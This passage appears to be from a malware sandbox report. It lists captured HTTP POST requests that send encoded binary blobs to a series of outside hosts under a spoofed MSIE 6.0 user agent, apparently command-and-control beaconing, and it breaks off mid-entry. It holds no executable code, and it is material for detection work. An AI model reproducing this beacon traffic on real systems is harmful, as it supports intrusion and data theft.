cVtnI5T0pwp8PtBzb1bdlOfMdXgMcVB/CMPAD2vtWXbobpLgLckWllS1sa25WlCupCuc11uV6L0hh4By4o+4AzyuK9m9MgrCCvblmjryWOfmii/rV51YCgSuGQhUZ9yCEOODIhVAs6+46C3pCzsR75VcnWjecMY1WkW+3D25zsT84XagXh5PD05aktm5vIbEir2KCtyAC4y/eA/5Uil1fiRRV4lRrfxTSTgtWbFKanjdvA24n1W/UWlbqh2BX/Pa7RUiYot43K0/FyDk0cVd7+n+AxFX7R/1x2s0zl9aOq4h+ckzOY+ZlON/eXey494q0Lg6VFlzodpSizZbUTcx7PXmJJXnLwQwxaU2Sza3nrMrW6/G0otcI/7Me37JB96Njf8zUmQehI+NUFuF/mng+x3moAH5eWfwg8i3DHnuKczAbcGX0ga7pAr5bqtcqpO9lerUUsvhMIkA7i16p05XV64Vyb2Csqe0TsyjdzVfYr3uytKa2Zhd8SWbRHRS2rrz076Y39sn3tP5o+x8eC5rp6G1DAsXSGOjGLeNYj3+TQAOVZs=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 66 74 47 73 33 43 37 55 2b 7a 4a 56 57 76 6d 6b 56 33 41 75 76 2b 73 31 51 4a 36 54 39 6e 4e 72 74 44 78 57 76 67 6c 2b 63 32 34 4f 6a 49 6d 37 34 4e 48 33 48 76 5a 39 72 6b 6a 79 59 58 7a 4e 39 59 46 36 56 65 66 4e 6f 30 36 76 37 58 57 78 51 52 34 61 41 62 54 53 43 38 6c 79 44 79 4d 38 73 43 56 73 4b 76 55 73 45 5a 64 54 36 49 52 76 75 4b 54 5a 63 46 47 76 67 64 45 77 50 75 30 33 2f 4f 61 41 45 74 66 4a 64 7a 52 46 49 77 4e 4e 36 46 34 71 71 55 45 67 2b 6c 31 5a 6b 4b 30 58 6b 70 6f 52 6b 65 39 51 36 6c 58 4c 6b 76 65 35 37 75 41 31 4e 71 5a 53 4e 72 6e 4a 4f 4a 44 69 58 51 30 6e 36 46 67 78 66 65 73 62 6b 77 5a 48 36 4e 50 68 55 78 51 70 66 34 37 71 66 30 33 49 37 64 76 41 3d 3d Data Ascii: WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wkhk.netCache-Control: no-cacheCookie: snkz=173.254.250.81; btst=5da448966d54b464c4518e688cf48827\|173.254.250.81\|1729847852\|1729847852\|0\|1\|0Data Raw: 34 4f 56 43 46 66 35 2b 70 77 71 33 33 7a 66 59 79 5a 70 58 36 75 46 45 46 68 75 2b 70 4b 31 6f 45 74 64 39 79 2b 68 36 68 56 6e 61 41 76 64 54 35 58 54 57 6e 4e 65 79 52 38 5a 50 45 56 6e 71 74 30 46 57 67 55 30 68 48 34 54 67 4d 75 38 59 32 4f 72 58 63 43 61 31 6f 4f 67 4f 35 36 72 35 32 39 33 58 57 44 6b 6f 56 4e 54 69 43 54 51 4c 52 41 37 5a 4a 44 39 41 6b 71 36 62 35 7a 57 2f 78 78 45 38 48 62 32 52 32 62 31 6d 5a 56 6a 58 59 56 47 6a 41 63 46 31 6b 65 43 6c 4d 4c 66 61 39 4f 69 30 6c 4e 6f 77 59 57 53 59 50 64 2b 43 57 50 74 6e 4b 4d 57 55 34 45 4b 6c 4c 41 75 41 4d 43 43 5a 69 42 64 77 5a 41 47 31 7a 75 44 4b 38 65 50 4e 4c 53 6b 35 56 43 6d 44 6e 74 63 6f 44 48 5a 74 4d 39 59 42 37 6c 39 59 74 4c 4d 46 6c 72 78 33 44 6b 58 62 73 56 75 4f 45 51 4a 37 55 67 5a 30 4d 6f 64 56 78 7a 7a 75 39 52 47 4b 70 4d 36 38 38 71 58 75 71 67 31 54 6e 50 48 49 4e 66 72 39 64 2b 74 64 61 36 41 5a 70 73 7a 53 46 75 58 66 31 44 56 58 56 52 35 55 4b 54 5a 6f 42 70 74 44 46 71 38 52 71 4d 46 52 61 69 61 79 68 66 4b 42 6f 67 39 6b 33 69 4f 31 78 63 76 66 5a 70 6e 72 36 7a 68 4b 46 51 79 2b 6d 45 38 33 4e 42 4d 38 59 67 52 48 53 6a 30 67 56 52 44 46 49 70 49 71 34 54 54 37 6f 2b 2b 6c 6d 74 42 75 74 54 6c 50 73 57 6c 79 35 53 30 69 38 2f 72 50 33 71 56 38 77 52 49 59 44 6a 70 39 35 45 49 51 65 66 4e 62 57 68 4c 76 6a 4b 4b 73 71 31 46 74 2b 71 53 37 78 31 61 63 45 72 7a 35 58 36 36 62 69 58 44 6c 59 4c 75 53 52 65 52 48 58 36 62 4f 2f 4a 4f 2f 48 6a 66 4c 6e 47 6f 4d 6d 55 7a 65 6e 7a 47 66 76 67 75 6c 31 4c 32 42 61 78 33 59 65 78 66 38 48 42 57 73 49 41 38 63 74 65 41 2f 4a 42 46 62 46 76 55 30 57 53 6e 69 6f 53 36 32 79 72 77 38 50 48 51 4d 68 62 5a 4c 4f 4e 51 2b 38 6e 56 32 42 62 59 3d Data Ascii: 4OVCFf5+pwq33zfYyZpX6uFEFhu+pK1oEtd9y+h6hVnaAvdT5XTWnNeyR8ZPEVnqt0FWgU0hH4TgMu8Y2OrXcCa1oOgO56r5293XWDkoVNTiCTQLRA7ZJD9Akq6b5zW/xxE8Hb2R2b1mZVjXYVGjAcF1keClMLfa9Oi0lNowYWSYPd+CWPtnKMWU4EKlLAuAMCCZiBdwZAG1zuDK8ePNLSk5VCmDntcoDHZtM9YB7l9YtLMFlrx3DkXbsVuOEQJ7UgZ0ModVxzzu9RGKpM688qXuqg1TnPHINfr9d+tda6AZpszSFuXf1DVXVR5UKTZoBptDFq8RqMFRaiayhfKBog9k3iO1xcvfZpnr6zhKFQy+mE83NBM8YgRHSj0gVRDFIpIq4TT7o++lmtButTlPsWly5S0i8/rP3qV8wRIYDjp95EIQefNbWhLvjKKsq1Ft+qS7x1acErz5X66biXDlYLuSReRHX6bO/JO/HjfLnGoMmUzenzGfvgul1L2Bax3Yexf8HBWsIA8cteA/JBFbFvU0WSnioS62yrw8PHQMhbZLONQ+8nV2BbY=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fnw.usCache-Control: no-cacheData Raw: 76 58 64 56 37 77 42 54 6a 51 71 70 6c 56 36 64 30 79 71 75 4c 7a 50 32 62 7a 44 6f 4c 55 77 6d 4e 50 4c 71 5a 5a 77 4a 4c 5a 75 72 65 6a 57 49 44 4c 4d 57 34 6b 78 4a 6c 6e 6c 34 53 61 65 4b 68 34 4c 37 76 59 68 31 59 6d 42 49 39 2b 4f 4a 77 67 75 36 6e 68 77 75 54 79 4f 31 30 7a 55 69 4f 63 2b 44 50 57 4a 43 48 6a 77 70 4b 4e 57 4b 41 7a 4f 7a 57 59 71 61 48 49 36 57 52 61 6c 30 6a 4b 74 57 74 33 77 4c 75 58 66 51 6d 6c 73 57 73 4d 48 73 78 65 32 6d 51 68 6a 73 79 73 47 54 32 61 54 48 73 6c 72 4a 45 4e 58 77 71 57 49 68 70 5a 47 52 66 6f 6e 6d 51 35 57 6e 44 59 41 6d 36 48 55 45 53 46 65 37 6e 52 49 6c 65 37 33 67 6b 51 46 4a 31 38 6a 4d 4d 74 50 4a 61 6a 58 4a 32 31 32 57 30 77 58 38 46 6b 73 6c 4f 4d 72 64 78 63 64 32 7a 68 79 4d 37 58 6a 44 41 72 5a 43 73 4e 65 66 39 59 55 55 32 4b 33 4a 5a 7a 35 66 71 52 48 67 47 6f 48 6b 30 30 73 43 53 2b 61 4c 39 37 6f 38 77 54 73 4a 46 38 76 31 49 50 73 4c 50 31 58 5a 6b 6f 58 53 77 58 2f 77 4f 79 4c 73 43 74 48 37 74 5a 58 77 7a 32 4e 48 55 6b 41 73 68 53 54 76 54 69 6c 68 55 42 6a 66 74 79 61 2f 41 66 66 41 4c 5a 51 37 63 41 6a 77 75 59 6c 65 30 68 37 54 65 42 59 72 6a 54 48 48 64 76 6d 2b 74 71 46 62 58 39 70 4d 74 30 44 36 48 76 57 6b 38 75 35 56 44 63 77 61 34 49 67 36 37 59 46 4c 55 54 6c 6c 2f 4e 4f 4b 43 36 52 53 45 56 4d 31 63 52 48 2b 55 57 72 36 6c 50 79 63 76 72 4b 43 6c 6b 33 74 35 61 35 64 4a 65 69 50 44 6c 4f 31 59 49 78 51 6b 5a 55 78 4a 43 5a 35 30 69 4b 79 7a 30 67 64 38 6c 43 72 42 4a 72 61 36 58 30 2f 61 59 42 76 76 6a 51 64 78 56 30 58 47 4c 2b 48 70 6b 6a 36 48 66 64 2b 4e 39 32 74 61 7a 39 77 77 4b 31 35 46 68 77 34 69 64 67 3d Data Ascii: vXdV7wBTjQqplV6d0yquLzP2bzDoLUwmNPLqZZwJLZurejWIDLMW4kxJlnl4SaeKh4L7vYh1YmBI9+OJwgu6nhwuTyO10zUiOc+DPWJCHjwpKNWKAzOzWYqaHI6WRal0jKtWt3wLuXfQmlsWsMHsxe2mQhjsysGT2aTHslrJENXwqWIhpZGRfonmQ5WnDYAm6HUESFe7nRIle73gkQFJ18jMMtPJajXJ212W0wX8FkslOMrdxcd2zhyM7XjDArZCsNef9YUU2K3JZz5fqRHgGoHk00sCS+aL97o8wTsJF8v1IPsLP1XZkoXSwX/wOyLsCtH7tZXwz2NHUkAshSTvTilhUBjftya/AffALZQ7cAjwuYle0h7TeBYrjTHHdvm+tqFbX9pMt0D6HvWk8u5VDcwa4Ig67YFLUTll/NOKC6RSEVM1cRH+UWr6lPycvrKClk3t5a5dJeiPDlO1YIxQkZUxJCZ50iKyz0gd8lCrBJra6X0/aYBvvjQdxV0XGL+Hpkj6Hfd+N92taz9wwK15Fhw4idg=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pdqhomes.comCache-Control: no-cacheData Raw: 4c 67 56 31 63 4c 48 55 6d 51 72 35 34 73 77 6e 30 45 5a 47 31 67 6f 73 42 66 33 76 77 78 32 6c 64 53 61 76 4f 34 79 32 41 63 47 2f 57 32 67 52 74 6a 65 69 5a 42 47 72 37 30 68 6e 2f 67 4a 46 6d 43 5a 73 5a 65 32 37 38 45 4d 6e 4a 50 58 47 51 70 52 47 44 76 42 54 53 2f 41 66 6d 35 56 76 30 41 68 73 66 35 6d 46 44 63 4a 43 38 37 73 31 62 2b 78 69 39 2b 6f 33 4c 58 64 51 50 44 76 54 4e 2b 75 52 30 31 62 7a 34 5a 6d 6f 45 4f 71 6e 64 6a 50 4f 55 4f 65 6a 46 36 68 54 63 41 4f 68 35 49 66 32 46 58 4b 33 6d 42 4a 4e 74 4f 58 2b 64 49 7a 61 77 6a 59 6c 69 50 62 2b 72 2f 6b 7a 57 36 4c 35 38 52 41 59 2f 31 78 74 39 7a 68 61 54 48 37 38 74 51 6d 4f 30 6d 49 69 58 75 49 4d 52 69 4f 45 37 6e 4a 2f 75 69 34 50 6d 33 78 66 6d 52 37 74 71 6d 7a 7a 63 6b 70 35 38 2f 70 4d 79 6b 4b 48 5a 6c 6a 41 50 55 38 33 34 44 62 63 4f 4c 68 51 2b 56 59 48 33 35 69 44 5a 64 42 52 72 62 4e 66 79 61 2b 33 50 6a 4a 6a 39 6e 71 36 4c 6b 46 37 66 4e 6d 35 2b 31 72 75 43 70 53 34 55 56 47 51 56 79 41 69 32 34 57 63 46 5a 6f 54 52 72 52 2b 74 35 74 6f 33 32 41 53 79 67 68 52 67 46 69 5a 73 74 71 75 71 64 7a 69 76 79 59 4b 61 32 57 6e 51 68 34 51 4f 78 6d 55 78 49 4b 45 77 7a 72 63 6a 57 65 58 6d 6c 43 2b 4d 42 62 78 41 74 67 46 74 37 4e 2f 58 4a 72 4d 71 5a 66 67 58 36 36 53 76 5a 77 33 4c 37 4b 5a 4d 71 6d 61 56 58 55 41 78 61 32 68 43 55 52 6a 4e 47 65 56 66 65 2b 69 6f 44 78 4d 65 4a 6e 39 74 43 57 2b 42 39 45 53 43 6a 57 76 53 4a 6d 32 65 38 62 4b 57 66 6c 74 43 34 67 58 58 38 74 75 49 70 54 76 62 6f 66 46 31 49 6c 62 69 36 38 53 62 65 79 74 77 55 2f 43 44 36 48 30 46 2f 6a 41 2f 6c 43 46 49 38 68 36 77 4c 33 4f 61 6a 7a 69 64 52 4c 77 69 72 48 42 56 7a 4f 68 58 49 48 4e 70 39 51 2f 66 6b 75 67 6a 6f 54 59 57 46 36 68 4b 77 3d 3d Data Ascii: LgV1cLHUmQr54swn0EZG1gosBf3vwx2ldSavO4y2AcG/W2gRtjeiZBGr70hn/gJFmCZsZe278EMnJPXGQpRGDvBTS/Afm5Vv0Ahsf5mFDcJC87s1b+xi9+o3LXdQPDvTN+uR01bz4ZmoEOqndjPOUOejF6hTcAOh5If2FXK3mBJNtOX+dIzawjYliPb+r/kzW6L58RAY/1xt9zhaTH78tQmO0mIiXuIMRiOE7nJ/ui4Pm3xfmR7tqmzzckp58/pMykKHZljAPU834DbcOLhQ+VYH35iDZdBRrbNfya+3PjJj9nq6LkF7fNm5+1ruCpS4UVGQVyAi24WcFZoTRrR+t5to32ASyghRgFiZstquqdzivyYKa2WnQh4QOxmUxIKEwzrcjWeXmlC+MBbxAtgFt7N/XJrMqZfgX66SvZw3L7KZMqmaVXUAxa2hCURjNGeVfe+ioDxMeJn9tCW+B9ESCjWvSJm2e8bKWfltC4gXX8tuIpTvbofF1Ilbi68SbeytwU/CD6H0F/jA/lCFI8h6wL3OajzidRLwirHBVzOhXIHNp9Q/fkugjoTYWF6hKw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jenco.co.ukCache-Control: no-cacheData Raw: 65 54 42 41 56 50 4b 5a 6b 41 6f 6d 30 63 4a 77 4a 54 43 2f 61 2f 58 44 43 4b 50 43 62 50 7a 78 52 6b 63 72 5a 36 62 72 78 65 70 5a 32 30 66 68 79 69 63 31 4d 31 68 69 45 65 33 57 72 51 64 55 35 51 30 48 4d 30 6c 65 72 6e 32 32 31 39 65 52 47 4a 79 6f 6e 34 77 58 44 5a 4e 4e 30 41 57 57 50 53 34 65 37 6d 6f 54 39 70 37 56 31 62 4a 50 71 56 4c 34 6d 6c 68 55 43 67 53 30 42 6d 72 65 57 30 74 66 57 73 71 53 74 37 6b 4c 65 37 66 77 54 38 63 71 76 50 69 77 32 57 77 39 56 31 75 78 64 56 73 34 4b 62 42 50 4e 69 6e 53 71 79 31 66 4c 65 5a 78 76 66 67 41 68 30 4d 61 38 62 47 77 66 73 6c 64 71 61 30 48 6a 41 31 48 7a 58 64 68 6c 2b 72 48 46 4f 6f 6d 39 69 33 45 31 65 78 72 6b 69 78 46 54 77 43 44 74 43 62 50 72 31 7a 46 4c 43 4c 55 4b 67 46 52 4a 37 48 45 6b 54 2f 36 74 44 32 58 59 6d 4d 68 32 2f 58 69 34 75 6e 70 58 47 72 68 44 49 6d 66 30 33 49 79 65 6c 6b 53 70 31 32 64 6c 6b 30 67 70 58 6b 6f 62 4c 56 48 41 38 78 69 71 38 30 56 41 42 31 30 56 34 33 34 69 66 4c 71 55 4a 79 4a 75 66 43 62 53 50 50 49 41 35 77 52 44 4f 58 55 66 57 33 64 6c 41 67 44 37 4e 75 49 6c 39 35 50 47 56 46 73 63 6f 6e 6c 36 71 32 6b 68 48 75 6e 62 6a 79 64 32 4b 39 36 6a 42 47 4b 50 4e 76 4f 37 34 73 30 76 30 36 75 55 67 58 2f 39 58 74 49 35 53 56 34 57 41 69 32 76 37 6a 4e 43 77 74 72 42 73 47 56 77 74 2f 59 35 2f 6e 59 45 6d 6e 36 43 7a 44 32 6d 53 43 70 7a 35 4f 57 43 54 42 6d 38 55 41 5a 57 77 72 6f 74 6e 76 75 69 6c 58 65 35 72 2f 57 4e 77 74 76 33 79 69 48 56 4a 69 2f 61 7a 68 74 71 78 36 36 4b 64 64 71 2b 61 2b 64 48 4d 75 36 54 44 2b 4d 57 4a 61 36 45 58 69 33 36 51 76 75 75 4c 67 64 78 36 64 34 63 35 45 78 53 46 4a 78 67 64 33 4c 47 6b 46 58 6f 42 49 61 4a 77 3d 3d Data Ascii: eTBAVPKZkAom0cJwJTC/a/XDCKPCbPzxRkcrZ6brxepZ20fhyic1M1hiEe3WrQdU5Q0HM0lern2219eRGJyon4wXDZNN0AWWPS4e7moT9p7V1bJPqVL4mlhUCgS0BmreW0tfWsqSt7kLe7fwT8cqvPiw2Ww9V1uxdVs4KbBPNinSqy1fLeZxvfgAh0Ma8bGwfsldqa0HjA1HzXdhl+rHFOom9i3E1exrkixFTwCDtCbPr1zFLCLUKgFRJ7HEkT/6tD2XYmMh2/Xi4unpXGrhDImf03IyelkSp12dlk0gpXkobLVHA8xiq80VAB10V434ifLqUJyJufCbSPPIA5wRDOXUfW3dlAgD7NuIl95PGVFsconl6q2khHunbjyd2K96jBGKPNvO74s0v06uUgX/9XtI5SV4WAi2v7jNCwtrBsGVwt/Y5/nYEmn6CzD2mSCpz5OWCTBm8UAZWwrotnvuilXe5r/WNwtv3yiHVJi/azhtqx66Kddq+a+dHMu6TD+MWJa6EXi36QvuuLgdx6d4c5ExSFJxgd3LGkFXoBIaJw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 528User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.olras.comCache-Control: no-cacheData Raw: 36 6a 37 56 75 47 55 75 6e 41 70 4c 6a 35 2f 4c 44 49 79 32 69 4e 34 58 4c 36 4b 7a 67 56 42 65 61 52 6b 4a 46 74 2f 4b 73 79 72 4d 4c 31 38 6e 31 67 67 4a 58 71 38 6e 30 37 32 35 41 37 48 7a 5a 56 75 6e 38 6b 54 4f 31 58 42 76 69 51 50 4f 48 2f 63 42 34 73 6e 32 4d 55 4a 6d 66 64 55 32 6f 31 79 4f 46 79 48 43 7a 32 4e 48 59 73 67 39 56 49 53 50 30 66 68 59 32 6e 74 49 47 72 79 4b 62 38 51 57 38 53 55 6b 48 67 54 38 77 2f 72 2b 59 31 67 37 2f 61 77 4e 32 68 66 44 36 41 72 65 4d 6c 42 4d 39 7a 43 56 43 79 7a 6b 4a 35 54 57 69 31 69 63 6c 72 73 47 37 66 5a 53 47 7a 44 53 4e 32 68 56 58 77 6f 6a 57 2b 2f 66 69 5a 48 4d 68 61 32 73 63 72 66 45 32 47 76 51 76 2f 44 39 6f 46 4e 4c 54 63 45 51 78 4a 47 72 71 78 74 61 6f 79 4d 6c 78 35 4e 43 77 68 6c 46 63 64 4f 45 6d 4d 76 57 77 52 55 43 65 41 78 45 4f 36 39 47 66 43 67 31 79 62 63 52 41 4e 77 58 34 57 4e 58 78 6c 36 46 30 53 6f 39 52 32 43 62 65 32 45 61 66 6a 54 30 79 70 2b 53 2b 44 7a 53 76 58 45 77 41 39 58 6a 61 64 2b 36 59 66 47 47 52 77 33 6e 6b 57 47 2b 53 62 75 51 71 57 41 79 53 31 4b 32 6c 36 4f 68 36 72 56 30 61 4b 63 66 50 57 43 57 43 42 31 78 64 6d 2b 4c 63 54 69 2b 2b 5a 56 43 78 67 6c 71 77 70 51 6b 4b 39 75 47 50 46 74 73 38 79 50 2f 64 72 65 39 33 49 4c 4f 35 4a 39 6c 41 42 52 71 6e 6d 51 41 56 4f 54 7a 7a 6c 5a 4e 6d 45 77 63 72 2b 75 44 79 54 74 41 75 37 72 36 51 78 31 6e 55 39 5a 39 6b 46 6f 4c 31 4c 2b 35 6d 70 73 44 4e 61 45 6b 48 69 50 72 34 61 79 66 46 48 6b 42 36 78 62 2b 49 69 7a 75 42 57 2b 72 41 65 2b 45 71 39 37 36 6d 32 37 41 6f 2b 62 68 49 48 2f 67 71 50 6f 32 45 2f 4e 69 45 51 3d 3d Data Ascii: 6j7VuGUunApLj5/LDIy2iN4XL6KzgVBeaRkJFt/KsyrML18n1ggJXq8n0725A7HzZVun8kTO1XBviQPOH/cB4sn2MUJmfdU2o1yOFyHCz2NHYsg9VISP0fhY2ntIGryKb8QW8SUkHgT8w/r+Y1g7/awN2hfD6AreMlBM9zCVCyzkJ5TWi1iclrsG7fZSGzDSN2hVXwojW+/fiZHMha2scrfE2GvQv/D9oFNLTcEQxJGrqxtaoyMlx5NCwhlFcdOEmMvWwRUCeAxEO69GfCg1ybcRANwX4WNXxl6F0So9R2Cbe2EafjT0yp+S+DzSvXEwA9Xjad+6YfGGRw3nkWG+SbuQqWAyS1K2l6Oh6rV0aKcfPWCWCB1xdm+LcTi++ZVCxglqwpQkK9uGPFts8yP/dre93ILO5J9lABRqnmQAVOTzzlZNmEwcr+uDyTtAu7r6Qx1nU9Z9kFoL1L+5mpsDNaEkHiPr4ayfFHkB6xb+IizuBW+rAe+Eq976m27Ao+bhIH/gqPo2E/NiEQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dgmna.comCache-Control: no-cacheData Raw: 2f 65 55 45 41 66 37 6c 6a 51 70 64 6c 4d 73 76 79 64 55 55 78 65 46 48 4e 46 2b 2b 31 38 32 34 45 6d 37 75 55 67 50 42 79 57 44 30 30 41 51 6f 54 55 67 59 4c 73 44 4a 63 64 45 31 69 65 71 37 72 47 76 4d 2b 53 63 55 59 6e 43 6d 76 56 38 78 58 79 63 79 69 50 69 41 44 78 73 46 6a 51 53 6c 64 55 78 55 73 58 52 74 58 41 68 61 68 2f 38 66 42 44 35 75 48 68 62 4f 54 46 46 46 6b 69 48 6b 50 30 4c 50 4a 39 68 51 76 68 44 58 64 66 67 55 71 4c 58 4a 49 4e 6e 6b 6e 70 52 32 73 67 72 32 63 75 50 4f 77 6c 4e 66 6c 30 38 32 73 42 6f 59 70 49 6b 79 6d 61 69 57 63 63 36 70 63 41 38 53 57 75 56 79 4d 4e 4f 63 6c 73 74 53 77 73 47 75 51 48 4d 70 35 75 6c 42 49 78 4c 79 58 36 59 2f 31 30 67 2b 46 59 32 43 4f 54 42 4c 51 6b 53 36 46 51 49 64 54 77 54 2f 31 47 55 6e 77 72 61 2b 54 36 32 42 4b 36 58 61 6e 4a 47 78 65 63 4e 5a 78 71 67 68 34 51 45 50 76 48 74 73 6f 47 41 4b 32 55 72 63 62 36 5a 34 5a 36 37 74 47 41 54 55 56 2b 37 79 64 4e 66 6d 75 51 54 46 38 55 61 6f 64 37 66 41 61 75 6a 41 62 71 64 72 79 72 45 31 6b 30 32 30 6c 61 36 76 6e 63 62 4e 4a 44 6b 6f 4f 33 32 6a 30 6d 79 45 47 4c 73 52 52 56 4d 62 2f 30 31 4c 50 47 52 32 52 59 59 76 68 6d 66 70 77 72 6c 77 4c 2b 6a 6c 62 4f 62 32 37 4a 49 55 71 33 63 67 55 4c 42 30 79 4e 30 51 78 4d 49 37 44 46 45 49 50 74 66 46 43 79 4f 79 55 6d 6c 77 30 47 52 33 56 32 50 58 39 44 4a 65 79 76 66 6a 37 57 32 37 6d 53 76 6f 34 6c 56 6d 39 76 54 49 4f 62 59 69 73 34 49 5a 43 6f 55 4e 38 6e 69 4d 4e 6a 39 6c 7a 58 65 75 58 48 79 41 71 53 46 4c 79 72 2b 73 43 77 79 58 48 78 33 52 75 61 50 31 39 57 41 78 75 54 68 34 76 52 4c 68 4f 33 5a 56 4b 67 49 51 61 42 6d 79 4a 6e 4f 56 71 75 44 33 63 31 62 48 73 2f 52 62 6d 30 45 74 Data Ascii: /eUEAf7ljQpdlMsvydUUxeFHNF++1824Em7uUgPByWD00AQoTUgYLsDJcdE1ieq7rGvM+ScUYnCmvV8xXycyiPiADxsFjQSldUxUsXRtXAhah/8fBD5uHhbOTFFFkiHkP0LPJ9hQvhDXdfgUqLXJINnknpR2sgr2cuPOwlNfl082sBoYpIkymaiWcc6pcA8SWuVyMNOclstSwsGuQHMp5ulBIxLyX6Y/10g+FY2COTBLQkS6FQIdTwT/1GUnwra+T62BK6XanJGxecNZxqgh4QEPvHtsoGAK2Urcb6Z4Z67tGATUV+7ydNfmuQTF8Uaod7fAaujAbqdryrE1k020la6vncbNJDkoO32j0myEGLsRRVMb/01LPGR2RYYvhmfpwrlwL+jlbOb27JIUq3cgULB0yN0QxMI7DFEIPtfFCyOyUmlw0GR3V2PX9DJeyvfj7W27mSvo4lVm9vTIObYis4IZCoUN8niMNj9lzXeuXHyAqSFLyr+sCwyXHx3RuaP19WAxuTh4vRLhO3ZVKgIQaBmyJnOVquD3c1bHs/Rbm0Et
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.quadlock.comCache-Control: no-cacheData Raw: 53 66 78 2f 68 5a 2b 44 6d 67 72 65 48 6f 6f 64 2f 76 77 2f 4d 53 67 7a 5a 75 4a 31 6f 44 5a 41 51 2f 31 70 35 6a 37 53 55 2f 68 2f 6a 71 45 6c 55 71 43 53 7a 77 4e 4b 6e 41 6c 65 66 4d 73 34 47 7a 65 4d 65 54 65 61 6a 69 68 35 46 71 4e 62 4c 35 69 65 2b 62 64 6e 33 6d 4c 54 53 70 68 43 67 71 53 34 6f 75 72 57 4d 4b 76 51 6e 36 64 51 48 4b 4a 72 55 49 4c 79 62 45 41 34 4e 51 4f 55 62 45 43 34 44 68 6a 6b 35 56 48 65 52 49 69 49 72 74 36 45 6a 38 50 5a 6f 78 74 44 4c 44 44 6f 47 62 73 70 4f 36 69 49 41 4f 44 48 61 47 79 66 4a 67 47 2f 74 74 47 75 76 6f 61 31 36 47 78 39 52 4f 42 52 54 62 4c 2f 4a 66 43 6a 6a 31 2b 2b 6d 74 30 6d 34 45 6a 52 67 4c 71 68 48 54 73 34 54 52 65 39 77 62 7a 69 39 7a 6b 4b 35 30 4b 4b 57 6d 79 69 2b 72 75 6a 66 63 62 70 53 5a 77 75 5a 66 54 68 75 35 66 44 30 35 2f 42 7a 33 2f 61 35 35 49 69 61 43 7a 75 51 6a 4b 59 65 50 61 33 69 6b 50 54 4e 4e 74 43 4d 32 53 73 2f 65 33 33 75 50 46 38 33 58 71 75 7a 54 72 6f 34 68 35 67 33 54 6b 52 38 50 41 4f 61 77 49 43 6b 30 4a 6d 50 6c 6f 2b 6f 43 55 37 46 38 4f 4b 4d 69 65 4f 5a 53 78 4e 34 51 56 